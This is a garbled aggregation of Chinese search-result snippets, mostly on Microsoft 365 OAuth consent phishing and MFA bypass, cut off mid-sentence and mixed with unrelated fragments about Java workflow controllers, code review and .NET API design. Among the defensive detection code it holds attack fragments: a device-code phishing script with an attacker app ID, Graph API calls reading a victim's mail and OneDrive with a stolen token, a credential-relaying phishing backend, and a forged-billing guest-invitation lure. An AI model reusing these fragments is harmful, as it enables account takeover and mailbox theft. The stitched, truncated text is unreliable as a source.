此类攻击不再依赖粗劣仿冒,而是深度嵌入用户日常办公行为模式,通过伪造“存储配额警告”“密码即将过期”“文档共享请求”等高可信度通知,诱导用户在无警觉状态下完成凭证提交甚至主动批准MFA推送。...用户点击后跳转至看似官方的登录页(URL为https://microsoft-office[.]com/login),输入账号密码后收到Authenticator推送,出于习惯点击“批准”。...2.3 MFA推送诱导与OAuth持久化为绕过多因素认证,攻击者在用户首次登录后,立即触发“验证应用需要刷新”提示,诱导用户再次批准Authenticator推送。...获得有效会话后,攻击者通过Graph API注册恶意OAuth应用:POST https://graph.microsoft.com/v1.0/applicationsContent-Type: application...AllowBasicAuthActiveSync $false -AllowBasicAuthAutodiscover $false4.3 OAuth授权审批与监控启用“管理员审批”模式,要求所有新应用注册需经IT审核
此类攻击不依赖凭据窃取,而是滥用OAuth 2.0授权框架中的“用户同意”流程,使恶意应用获得长期有效的刷新令牌(refresh token),进而通过Microsoft Graph API静默读取邮件...);用户点击“接受”,微软返回授权码;应用用授权码向令牌端点兑换访问令牌与刷新令牌;应用使用令牌调用Microsoft Graph API。...://graph.microsoft.com/v1.0/me/messages?...可通过Microsoft Graph API动态评估权限风险:HIGH_RISK_SCOPES = {'Mail.ReadWrite', 'MailboxSettings.ReadWrite','User.ReadWrite.All...4.6 Graph API 异常行为监控部署KQL查询,检测异常API调用模式:// 检测单应用大量邮件读取AuditLogs| where OperationName == "Consent to application
(阻塞该请求直到审核结果到达或超时) * 建议在前端先调用 HumanReviewController 完成 /approve|/reject,再调用该接口触发执行 */ @PostMapping...@RequestMapping("/api/graph-workflow")@Slf4jpublic class PlanHumanExecuteAgentController { private...return new ExecuteResponse("FAILED", "执行异常: " + msg, null, logPath); } } /** * 批准审核并恢复执行...req.reason() : ""; log.info("收到批准请求,reviewId={}, reason={}", reviewId, reason); try {...req.reason() : ""; log.info("收到拒绝请求,reviewId={}, reason={}", reviewId, reason); ExecutionPlan
文中通过 Python 与 Microsoft Graph Security API 的代码示例,展示如何实现异常登录行为的自动化检测与响应。...攻击者伪装成 IT 支持人员,以“账户异常需紧急验证”为由,诱导受害者在微软 Entra ID(原 Azure AD)中批准推送式多因素认证(Push MFA)请求,从而完成身份冒用。...哈佛事件中,受害者正是在接到“IT 支持”电话后,误以为是系统故障,主动批准了 MFA 请求,导致攻击者成功建立合法会话。...可通过 Microsoft Graph Security API 实时监控高风险活动。...此外,通过 Graph API 监控,我们成功捕获了所有模拟的“不可能旅行”与“异常数据访问”事件,验证了检测机制的有效性。
、Gmail API等,读取联系人、邮件、日历,甚至发送钓鱼邮件扩大攻击面。...在Microsoft Entra ID中,可配置“用户同意设置”,禁止用户向未批准的应用授予权限:# PowerShell: 禁止用户同意所有应用Set-MgPolicyAuthorizationPolicy...},"grantControls": {"builtInControls": ["block"]}}在Google Workspace中,管理员可启用“第三方应用限制”策略,要求所有新应用必须经管理员审核...Graph API支持查询用户授予的同意记录:GET https://graph.microsoft.com/v1.0/me/oauth2PermissionGrantsAuthorization:...isTrustedClientId(clientId)) {showWarningBanner("此应用未获公司批准,授权可能导致账户泄露");}}},{ urls: ["https://accounts.google.com
关键词:OAuth 2.0;MFA绕过;Microsoft Entra ID;钓鱼攻击;身份安全;API权限;条件访问;第三方应用治理1 引言随着云办公的普及,Microsoft 365已成为全球企业数字基础设施的核心组成部分...、redirect_uri、scope等参数;用户输入凭证并完成MFA;显示OAuth同意页面:列出所请求的权限(如“读取你的邮件”);用户点击“同意”:Microsoft颁发授权码;第三方应用用授权码换取访问令牌...(Access Token)与刷新令牌(Refresh Token);应用使用令牌调用Microsoft Graph API。...3.4 数据窃取与横向移动获得令牌后,攻击者可调用Microsoft Graph API执行以下操作:# 读取最新100封邮件Invoke-RestMethod -Uri "https://graph.microsoft.com...-Headers @{ Authorization = "Bearer $accessToken" }# 下载OneDrive根目录文件Invoke-RestMethod -Uri "https://graph.microsoft.com
例如,当你用“微信登录知乎”时,知乎会请求获取你的微信昵称和头像,这就是OAuth授权的典型场景。...所有第三方应用接入必须经过IT部门审核与批准。“这就像给公司大门加了一道门禁。”芦笛比喻道,“不是谁敲门都能进,得先确认身份。”2....随着传统凭据攻击成本上升,攻击者正转向更隐蔽的授权滥用、API滥用等“合法路径”。“安全防护的重心必须从‘保护密码’转向‘管理权限’。”...微软方面也已加强检测机制,通过Graph API活动日志监控异常邮件读取行为,并在用户授权高风险权限时增加警示提示。...结语:安全无小事,警惕“合法”背后的陷阱一场看似普通的“重新授权”请求,可能正悄然打开企业数据的“后门”。在数字化办公日益普及的今天,每一个授权动作都需三思而后行。
: application/x-www-form-urlencodedclient_id=YOUR_APP_ID&scope=https://graph.microsoft.com/.default服务器返回...向 Azure AD 请求设备代码client_id = "ATTACKER_APP_ID" # 攻击者注册的恶意应用IDscope = "https://graph.microsoft.com/.default"resp...Graph API 窃取数据breakelif token_resp.json().get("error") == "authorization_pending":time.sleep(5)else:...print("❌ 授权失败:", token_resp.text)break一旦拿到 access_token,攻击者即可调用 Microsoft Graph API 执行任意操作:# 示例:读取受害者最近...事实上,Google 已在其 OAuth 流程中引入更严格的审查机制,对高风险应用进行人工审核。而 Microsoft 目前仍以“自助注册”为主,门槛极低。“开放生态需要护栏,而不是放任。”
我指出了这一点,问他们为什么会有额外的字段来记录谁批准了什么以及何时批准了什么,许多额外的多行文本字段,以及许多标记为“状态”的字段。...6 当我们做的时候,首先应是流程自动化,其次是活动自动化 流程逻辑会考虑流程决策,比如将请求路由到哪里、应该获取哪些信息以做出决策、如果请求被批准 / 拒绝会发生什么,等等。...例如,处理休假时间请求的流程类似于“向员工经理发送提出批准或拒绝的请求。确保经理知道员工是否已节省了足够的假期来满足请求的时间。...比如: 通过使用特定的服务帐户调用特定的 API 以访问保存休假余额的人力资源业务线应用程序来检查休假余额。 计算请求中的小时数,忽略周末和节假日。 根据所请求的小时数来评估可用余额。...使用 Microsoft Graph API 访问 Microsoft 365 中的用户和团队日历,同样使用特定的详细信息。
与 Microsoft 相似,Google 借助工具来进行代码审查。因此,在 Mark 将他的代码更改发送出去进行审核之前,他使用该工具最后一次浏览了该代码。...要求高级开发人员批准代码很容易导致工作过载,进而造成瓶颈。 在另一方面,同样重要的是足够多的人有这样的可读性认证。否则,这会造成审核的瓶颈。众所周知,等待代码审查反馈是代码审查期间的主要陷阱之一。...即使 Google 强制执行所有权和可读性标准以进行批准,但代码审核过程仍非常快(平均4个小时)。较小的更改将在 1 小时内就可以得到审查,较大的更改将在 5 小时内得到审查。...您与提交共享代码库之间的关系是至少一个具有代码所有权的人员和可读性认证的审核批准。大多数评论只有一名评论者,这也使代码审查过程变得轻便。公司范围内的代码规范,使代码清晰易读。...结合较小的代码更改量,Google 员工可以在 1-5 个小时内获得代码审核反馈。 与 Microsoft 员工类似,Google 员工对代码审查过程非常满意,并发现它是有价值的工程实践。
(2.3)凭证窃取与MFA绕过钓鱼页面常集成实时转发功能,用户输入用户名密码后,攻击者立即用其向真实服务发起登录请求,并将MFA推送通知转发至自身设备:// 钓鱼后端实时代理登录请求app.post('...(2.4)横向移动与持久化获取邮箱访问权后,攻击者常利用“自动转发规则”窃取未来邮件,或通过Graph API读取联系人、会议记录,为下一轮攻击提供情报。...部分样本还部署了基于OAuth应用的持久化后门:POST https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRulesAuthorization...(5.1)系统架构前端:Outlook插件,提供举报按钮与可疑链接预览;中台:基于Microsoft Graph API的行为分析引擎;后台:条件访问策略管理与OAuth授权审计模块。...(5.2)关键功能代码示例自动检测并阻断恶意邮件转发规则:from microsoft_graph import GraphClientdef detect_malicious_forwarding(user_id
【在Azure后台仪表盘下申请】,调用Office365 outlook邮箱接口、Azure Active Directory/Microsoft Identity账户登录接口、Microsoft Graph...版程序自动配置添加API权限 必须手动配置API权限 可以选择相应的API进行配置 此处以Microsoft Graph为参考,选择“委托的权限”,根据列出的API权限需求表进行选择...调用工具 Microsoft Graph 浏览器是一种基于 Web 的工具,可用于生成和测试对 Microsoft Graph API 的请求 API需要的权限设定可在预览卡中查阅...,授权后则可再次尝试调用响应 Postman 是一个可用于向 Microsoft Graph API 发出请求的工具:Postman&Microsoft Graph API使用 ...c.Microsoft Graph 快速入门示例 Microsoft Graph入门: a.选择语言或平台 b.获取应用 ID(客户端 ID) c.生成示例 d.登录,然后查看日历上的事件 PHP
Graph API 的代码示例,验证防御措施的可行性。...邀请可通过以下方式发起:手动邀请:管理员或具有“Guest Inviter”角色的用户通过 Azure 门户、Microsoft Graph API 或 PowerShell 发送邀请。...一旦获得权限,攻击者可通过 Microsoft Graph API 发送邀请。...此致,Microsoft 账单团队"@}New-MgInvitation -BodyParameter $inviteParams该请求将触发微软后端服务生成一封来自 invites@microsoft.com...Single User条件:同一用户在 1 小时内发送超过 5 次邀请响应:自动禁用该用户邀请权限并告警Graph API 查询示例:GET https://graph.microsoft.com/v1.0
文中提供基于 Python 的邮件头解析与可疑域名检测代码示例,以及利用 Microsoft Graph Security API 实现自动化威胁上报的流程设计,验证技术手段与政策要求的兼容性。...攻击者普遍部署免费 SSL 证书,使钓鱼网站显示“安全锁”图标;平台寄生:利用微软、Google 等官方服务发送诱导内容(如 Entra B2B 邀请);MFA 绕过:通过推送疲劳或电话诱导获取二次验证批准...现有治理机制的结构性缺陷当前治理模式存在三大短板:监管碎片化:美国联邦层面无统一反钓鱼法律,FTC、FCC、CISA 等机构职责交叉但缺乏协调;责任缺位:域名注册商、托管服务商、CDN 提供商常以“中立平台”为由拒绝承担内容审核义务...4.2 利用 Graph API 上报威胁指标对于使用 Microsoft 365 的机构,可通过 Microsoft Graph Security API 自动提交钓鱼域名作为威胁指标(TI):import...requestsimport jsondef submit_phish_indicator(domain, access_token):url = "https://graph.microsoft.com
Graph API. */ private List getNoteBookContent(String accessToken, String notebookId) {...Graph API. */ private List getSectionContent(String accessToken, String sectionId) { /...Graph * API. */ private String getPageContent(String accessToken, String pageId) { URI uri =...https://graph.microsoft.com/v1.0/me/onenote/pages/?...https://graph.microsoft.com/v1.0/me/onenote/pages/?
攻击流程如下:用户点击钓鱼邮件中的链接,访问攻击者控制的仿冒登录页(如secure-microsoft-login[.]xyz);该页面实际是一个反向代理,将用户所有请求(包括输入的用户名、密码、MFA...以下Python脚本模拟检测异常会话(基于Microsoft Graph API):import requestsfrom datetime import datetime, timedeltaGRAPH_API_TOKEN...= "your_app_token"USER_ID = "user@contoso.com"def get_user_signins(user_id):url = f"https://graph.microsoft.com...$filter=userPrincipalName eq '{user_id}'&$top=10"headers = {"Authorization": f"Bearer {GRAPH_API_TOKEN...Detected anomalous sessions:", anomalies)# 可触发自动会话撤销4.3 响应层:自动化会话撤销与取证一旦检测到可疑活动,应立即撤销用户所有活动会话:POST https://graph.microsoft.com
邮件内容高度模仿校方正式通知格式,包含WRDSB官方Logo、标准落款及看似合理的请求(如“请立即更新您的Microsoft 365密码以符合新安全政策”)。...通过Microsoft Graph API定期拉取用户授权的应用列表,比对白名单。若发现未经批准的第三方应用请求Mail.Read、Mail.Send等权限,自动撤销授权并告警。...msalimport jsonCLIENT_ID = "your-app-client-id"TENANT_ID = "wrdsb.onmicrosoft.com"SCOPES = ["https://graph.microsoft.com...= []for grant in resp.json().get('value', []):app_id = grant['clientId']# 查询应用详情app_url = f"https://graph.microsoft.com...['scope'].split()})return appsdef revoke_unapproved_app(token, app_id):"""撤销未授权应用"""url = f"https://graph.microsoft.com
芦笛说,“而且员工安全意识相对薄弱,看到‘授权请求’就点‘同意’,根本不会去查这个应用是不是公司批准的。”...启用条件访问策略(Conditional Access)通过设置策略,限制仅允许组织批准的应用访问关键资源。...给企业和用户的五大防护建议除了微软官方措施,芦笛结合实战经验,为企业和员工提出以下五点实用建议:建立应用审批制度所有第三方应用接入必须经过IT部门审核,禁止员工私自授权。...开展“授权即风险”专项培训教育员工:任何OAuth授权请求都应视为高风险操作,必须核实来源后再决定是否同意。...启用“需管理员同意”的强制策略对于高权限应用(如可读取邮件、修改权限等),设置为“必须由管理员批准”,防止普通用户误授。
如果某个用户在 Facebook 上有一个活动、经过验证的会话,则恶意扩展插件为开发人员访问 Meta 的 Graph API。...更不幸的是,恶意扩展代码中的一个组件允许劫持用户的 Facebook 帐户,其方法是在用户帐户上注册一个恶意应用程序,并获得 Facebook 的批准。...对此 Guardio 表示,Facebook 生态系统下的应用程序通常是一个 SaaS 服务,它被批准使用其特殊的 API。...一个有经济动机的网络罪犯活动 在 Facebook 通过其 Meta Graph API 授予访问权之前,首先必须确认该请求是来自一个经过认证的可信用户,为了规避这一预防措施,威胁者在恶意的浏览器扩展中加入了代码...,确保从受害者的浏览器向Facebook 网站发出的所有请求都被修改了标题,以便它们看起来也是可信的,这使得该扩展能够使用受感染的浏览器自由地浏览任何 Facebook 页面(包括进行 API 调用和操作
在API审核期间,会有人代表提案,并说明拟议设计的目标和原因,然后,团队将对其进行讨论,并确定提案是否需要进一步的工作,然后再批准,在被认为可以接受之前,可以在多次设计评审中提出一个API。...提交阶段 - PR 一旦获得批准,开发人员开始写写写,来实现这个API,就像这个示例一样,可能某些工作已经试验完成,然后还将需要把一些更改的内容,记录到设计评审的反馈中。...该功能的大部分工作由David Cantu完成,可以在GitHub上的拉取请求(PR)这里看到,https://github.com/dotnet/runtime/pull/33459 , 同样的它在Github...我建议开发人员应该很熟悉这个阶段,开发人员在git分支上完成了一些工作,一旦该工作完成并准备好考虑合并,就可以创建一个PR,一般可以直接合并到项目,但是出于质量考虑,其他开发人员通常会进行一个或多个代码审查,在Microsoft...4.合并发布 - Release 一旦所有的审阅者批准了这个PR,然后这些代码被合并到master分支中,因为.NET 运行时是一个非常复杂的库,里面有高级的构建过程,来处理这些新合并的代码。